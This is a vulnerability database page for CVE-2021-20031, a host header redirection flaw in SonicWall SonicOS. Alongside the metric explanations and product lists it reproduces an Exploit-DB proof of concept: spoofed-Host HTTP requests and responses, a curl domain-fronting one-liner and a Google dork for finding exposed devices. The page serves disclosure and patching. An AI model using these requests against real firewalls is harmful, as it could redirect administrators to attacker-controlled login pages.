CVE-2021-20031 : Detail

CVE-2021-20031

6.1
/
Medium
A01-Broken Access Control
2.26%V3
Network
2021-10-12
20h55 +00:00
2024-08-03
17h30 +00:00
CVE.org
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CVE Descriptions

A Host Header Redirection vulnerability in SonicOS potentially allows a remote attacker to redirect firewall management users to arbitrary web domains.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 6.1 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5.8 AV:N/AC:M/Au:N/C:P/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 50414

Publication date : 2021-10-12 22h00 +00:00
Author : Ramikan
EDB Verified : No

# Exploit Title: Sonicwall SonicOS 7.0 - Host Header Injection # Google Dork: inurl:"auth.html" intitle:"SonicWall" # intitle:"SonicWall Analyzer Login" # Discovered Date: 03/09/2020 # Reported Date: 07/09/2020 # Exploit Author: Ramikan # Vendor Homepage:sonicwall.com # Affected Devices: All SonicWall Next Gen 6 Devices # Tested On: SonicWall NAS 6.2.5 # Affected Version: All SonicWall Next Gen 6 Devices till 6.5.3 # Fixed Version:Gen6 firmware 6.5.4.8-89n # CVE : CVE-2021-20031 # CVSS v3:5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) # Category:Hardware, Web Apps # Reference : https://github.com/Ramikan/Vulnerabilities/ ************************************************************************************************************************************* Vulnerability 1: Host Header Injection ************************************************************************************************************************************* Description: A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages. An issue was discovered in Sonicwall NAS, SonicWall Analyzer version 8.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack Impact: Host Header changed to different domain (fakedomain.com). Fakedomain.com can be found in two lines in the HTTP response, below are the two lines. var jumpURL = "https://fakedomain.com/auth.html"; ease be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a> ************************************************************************************************************************************* Normal Request ************************************************************************************************************************************* GET / HTTP/1.1 Host: 192.168.10.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ************************************************************************************************************************************* Normal Response ************************************************************************************************************************************* HTTP/1.0 200 OK Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html; charset=UTF-8; X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com; <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> ++++++++++++++++++snipped+++++++++++++++++++++++ </head> <body class="login_bg"> <div class="login_outer"> <div class="login_inner"> <div class="vgap48"></div> <div class="login_logo"> <img src="logo_sw.png"> </div> <div class="login_prodname"> Network Security Appliance </div> <div class="vgap48"></div> <div class="login_msg_header"> Please be patient as you are being re-directed to <a href="https://192.168.10.1/auth.html" target="_top">a secure login page</a> </div> <div class="vgap24"></div> </div> </div> </body> </html> ************************************************************************************************************************************* POC ************************************************************************************************************************************* Host Header changed to different domain (fakedomain.com). Fakedomain.com can be found in two lines in the response, below are the two lines. var jumpURL = "https://fakedomain.com/auth.html"; ease be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a> ************************************************************************************************************************************* Request: ************************************************************************************************************************************* GET / HTTP/1.1 Host: fakedomain.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Upgrade-Insecure-Requests: 1 Connection: close Cookie: temp= ************************************************************************************************************************************* Response: ************************************************************************************************************************************* HTTP/1.0 200 OK Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html; charset=UTF-8; X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com; <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Content-Type" content="text/html"> <title>Document Moved</title> <meta name="id" content="docJump" > <link rel=stylesheet href="swl_styles-6.2.5-2464327966.css" TYPE="text/css"> <link rel=stylesheet href="swl_login-6.2.5-2193764341.css" TYPE="text/css"> <script type="text/JavaScript"> var resetSecureFlag = false; setTimeout("goJump();", 1000); function goJump() { var jumpURL = "https://fakedomain.com/auth.html"; var jumpProt = jumpURL.substr(0,6).toLowerCase(); var ix; if (jumpProt.substr(0,4) == "http" && (ix = jumpProt.indexOf(":")) != -1) { jumpProt = jumpProt.substr(0,ix+1); if (location.protocol.toLowerCase() != jumpProt) { window.opener = null; top.opener = null; } } if (resetSecureFlag) { var sessId = getCookie("SessId"); var pageSeed = swlStore.get("PageSeed", {isGlobal: true}); if (sessId) { setCookieExt("SessId", sessId, { strictSameSite: true }); } if (pageSeed) { swlStore.set("PageSeed", pageSeed, {isGlobal: true}); } } top.location.href = jumpURL; } function setCookie(key, value) { var argv = setCookie.arguments; var argc = setCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = key + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } function getCookie(key) { if (document.cookie.length) { var cookies = ' ' + document.cookie; var start = cookies.indexOf(' ' + key + '='); if (start == -1) { return null; } var end = cookies.indexOf(";", start); if (end == -1) { end = cookies.length; } end -= start; var cookie = cookies.substr(start,end); return unescape(cookie.substr(cookie.indexOf('=') + 1, cookie.length - cookie.indexOf('=') + 1)); } else { return null; } } </script> </head> <body class="login_bg"> <div class="login_outer"> <div class="login_inner"> <div class="vgap48"></div> <div class="login_logo"> <img src="logo_sw.png"> </div> <div class="login_prodname"> Network Security Appliance </div> <div class="vgap48"></div> <div class="login_msg_header"> Please be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a> </div> <div class="vgap24"></div> </div> </div> </body> </html> The redirection is happening to https://fakedomain.com/auth.html. ************************************************************************************************************************************* Attack Vector: ************************************************************************************************************************************* Can be used for domain fronting. curl -k --header "Host: attack.host.net" "Domain Name of the Sonicwall device" ************************************************************************************************************************************* Vendor Response: ************************************************************************************************************************************* Fix: SonicWall has fixed the issue in Gen6 firmware 6.5.4.8-89n (build is available in mysonicwall.com) - fix is provided with a CLI option > configure > administration > enforce-http-host-check, to avoid Host header redirection. Workaround: Please disable port 80 to mitigate it and this issue affected all Gen6 firewall products. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0019 *************************************************************************************************************************************

Products Mentioned

Configuraton 0

Sonicwall>>Sonicos >> Version To (including) 7.0.1-r1262

Sonicwall>>Nsa_2650 >> Version -

Sonicwall>>Nsa_2700 >> Version -

Sonicwall>>Nsa_3650 >> Version -

Sonicwall>>Nsa_3700 >> Version -

Sonicwall>>Nsa_4650 >> Version -

Sonicwall>>Nsa_4700 >> Version -

Sonicwall>>Nsa_5650 >> Version -

Sonicwall>>Nsa_6650 >> Version -

Sonicwall>>Nsa_6700 >> Version -

Sonicwall>>Nsa_9250 >> Version -

Sonicwall>>Nsa_9450 >> Version -

Sonicwall>>Nsa_9650 >> Version -

Sonicwall>>Tz270 >> Version -

Sonicwall>>Tz270w >> Version -

Sonicwall>>Tz300 >> Version -

Sonicwall>>Tz300p >> Version -

Sonicwall>>Tz300w >> Version -

Sonicwall>>Tz350 >> Version -

Sonicwall>>Tz350w >> Version -

Sonicwall>>Tz370 >> Version -

Sonicwall>>Tz370w >> Version -

Sonicwall>>Tz400 >> Version -

Sonicwall>>Tz400w >> Version -

Sonicwall>>Tz470 >> Version -

Sonicwall>>Tz470w >> Version -

Sonicwall>>Tz500 >> Version -

Sonicwall>>Tz500w >> Version -

Sonicwall>>Tz570 >> Version -

Sonicwall>>Tz570p >> Version -

Sonicwall>>Tz570w >> Version -

Sonicwall>>Tz600 >> Version -

Sonicwall>>Tz600p >> Version -

Sonicwall>>Tz670 >> Version -

Configuraton 0

Sonicwall>>Sonicos >> Version To (including) 7.0.1-r1283

Sonicwall>>Nsv_10 >> Version -

Sonicwall>>Nsv_100 >> Version -

Sonicwall>>Nsv_1600 >> Version -

Sonicwall>>Nsv_200 >> Version -

Sonicwall>>Nsv_25 >> Version -

Sonicwall>>Nsv_270 >> Version -

Sonicwall>>Nsv_300 >> Version -

Sonicwall>>Nsv_400 >> Version -

Sonicwall>>Nsv_470 >> Version -

Sonicwall>>Nsv_50 >> Version -

Sonicwall>>Nsv_800 >> Version -

Sonicwall>>Nsv_870 >> Version -

Configuraton 0

Sonicwall>>Sonicos >> Version To (including) 7.0.1-r579

Sonicwall>>Nssp_12400 >> Version -

Sonicwall>>Nssp_12800 >> Version -

Sonicwall>>Nssp_13700 >> Version -

Sonicwall>>Nssp_15700 >> Version -

Configuraton 0

Sonicwall>>Sonicos >> Version To (including) 6.5.4.7

Sonicwall>>Nsa_2650 >> Version -

Sonicwall>>Nsa_2700 >> Version -

Sonicwall>>Nsa_3650 >> Version -

Sonicwall>>Nsa_3700 >> Version -

Sonicwall>>Nsa_4650 >> Version -

Sonicwall>>Nsa_4700 >> Version -

Sonicwall>>Nsa_5650 >> Version -

Sonicwall>>Nsa_6650 >> Version -

Sonicwall>>Nsa_6700 >> Version -

Sonicwall>>Nsa_9250 >> Version -

Sonicwall>>Nsa_9450 >> Version -

Sonicwall>>Nsa_9650 >> Version -

Sonicwall>>Soho_250w >> Version -

Sonicwall>>Supermassive_9200 >> Version -

Sonicwall>>Supermassive_9400 >> Version -

Sonicwall>>Supermassive_9600 >> Version -

Sonicwall>>Supermassive_9800 >> Version -

Sonicwall>>Tz270 >> Version -

Sonicwall>>Tz270w >> Version -

Sonicwall>>Tz300 >> Version -

Sonicwall>>Tz300p >> Version -

Sonicwall>>Tz300w >> Version -

Sonicwall>>Tz350 >> Version -

Sonicwall>>Tz350w >> Version -

Sonicwall>>Tz370 >> Version -

Sonicwall>>Tz370w >> Version -

Sonicwall>>Tz400 >> Version -

Sonicwall>>Tz400w >> Version -

Sonicwall>>Tz470 >> Version -

Sonicwall>>Tz470w >> Version -

Sonicwall>>Tz500 >> Version -

Sonicwall>>Tz500w >> Version -

Sonicwall>>Tz570 >> Version -

Sonicwall>>Tz570p >> Version -

Sonicwall>>Tz570w >> Version -

Sonicwall>>Tz600 >> Version -

Sonicwall>>Tz600p >> Version -

Sonicwall>>Tz670 >> Version -

Configuraton 0

Sonicwall>>Sonicos >> Version To (including) 6.5.1.12

Sonicwall>>Nssp_12400 >> Version -

Sonicwall>>Nssp_12800 >> Version -

Sonicwall>>Supermassive_9800 >> Version -

Configuraton 0

Sonicwall>>Sonicos >> Version To (including) 6.0.5.3-94o

Sonicwall>>Supermassive_e10200 >> Version -

Sonicwall>>Supermassive_e10400 >> Version -

Sonicwall>>Supermassive_e10800 >> Version -

Configuraton 0

Sonicwall>>Sonicos >> Version To (including) 5.9.1.13

Sonicwall>>Nsa_2650 >> Version -

Sonicwall>>Nsa_2700 >> Version -

Sonicwall>>Nsa_3650 >> Version -

Sonicwall>>Nsa_3700 >> Version -

Sonicwall>>Nsa_4650 >> Version -

Sonicwall>>Nsa_4700 >> Version -

Sonicwall>>Nsa_5650 >> Version -

Sonicwall>>Nsa_6650 >> Version -

Sonicwall>>Nsa_6700 >> Version -

Sonicwall>>Nsa_9250 >> Version -

Sonicwall>>Nsa_9450 >> Version -

Sonicwall>>Nsa_9650 >> Version -

Sonicwall>>Soho_250 >> Version -

Sonicwall>>Soho_250w >> Version -

Sonicwall>>Tz270 >> Version -

Sonicwall>>Tz270w >> Version -

Sonicwall>>Tz300 >> Version -

Sonicwall>>Tz300p >> Version -

Sonicwall>>Tz300w >> Version -

Sonicwall>>Tz350 >> Version -

Sonicwall>>Tz350w >> Version -

Sonicwall>>Tz370 >> Version -

Sonicwall>>Tz370w >> Version -

Sonicwall>>Tz400 >> Version -

Sonicwall>>Tz400w >> Version -

Sonicwall>>Tz470 >> Version -

Sonicwall>>Tz470w >> Version -

Sonicwall>>Tz500 >> Version -

Sonicwall>>Tz500w >> Version -

References